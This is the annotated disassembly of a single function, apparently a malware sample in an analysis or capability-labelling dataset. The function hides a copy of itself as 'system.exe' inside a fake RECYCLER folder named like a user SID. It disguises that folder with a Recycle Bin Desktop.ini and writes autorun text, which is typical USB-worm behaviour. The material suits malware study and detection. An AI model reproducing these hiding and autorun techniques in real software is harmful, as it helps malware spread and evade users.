Function at 0x4022a5
Capabilities:
Copy file
Create directory
Create thread
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x41c
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x418], eax
mov ax, word [0x404440]
push ebx
push ebp
push esi
push edi
mov word [esp + 0x18], ax
xor ebx, ebx
mov al, byte [0x404442]
push 0x101
mov byte [esp + 0x1e], al
lea eax, [esp + 0x1f]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x220]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x18]
mov byte [esp + 0x11c], bl
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402307
lea edi, [esp + 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402318
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402335
lea edi, [esp + 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402346
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
shr ecx, 2
lea eax, [esp + 0x11c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
je 0x402545
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x11c]
push 7
push eax
call ebx
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40238e
lea edi, [esp + 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40239f
mov ecx, edx
lea eax, [esp + 0x11c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
je 0x402545
push 7
lea eax, [esp + 0x120]
push eax
call ebx
push 0x104
lea eax, [esp + 0x120]
push eax
lea eax, [esp + 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, str.Desktop.ini
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4023f7
lea edi, [esp + 0x324]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402408
mov ecx, edx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
shr ecx, 2
lea eax, [esp + 0x324]
rep movsd dword es:[edi], dword [esi]
xor ebp, ebp
mov ecx, edx
push ebp
push 6
push 2
push ebp
push ebp
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
mov esi, eax
cmp esi, 1
jb 0x402545
mov ecx, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40244f
push ebp
lea eax, [esp + 0x14]
sub ecx, edx
push eax
push ecx
push str._autorun__r_nopen
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esp + 0x11c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40247a
mov ax, word [0x4043d0]
mov edx, str.system.exe
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402492
lea edi, [esp + 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4024a3
mov ecx, edx
lea eax, [esp + 0x220]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4024e7
test dl, dl
je 0x4024e3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4024e7
add eax, 2
add ecx, 2
test dl, dl
jne 0x4024c7
mov eax, ebp
jmp 0x4024ec
sbb eax, eax
or eax, 1
test eax, eax
je 0x40250b
push ebp
lea eax, [esp + 0x120]
push eax
lea eax, [esp + 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402545
push ebp
push ebp
push 4
push ebp
push 1
push closesocket
lea eax, [esp + 0x238]
push eax
call ebx
cmp eax, 0xffffffff
je 0x402545
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push ebp
push ebp
push 0x40255e
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x428]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004030c5
add esp, 0x41c
ret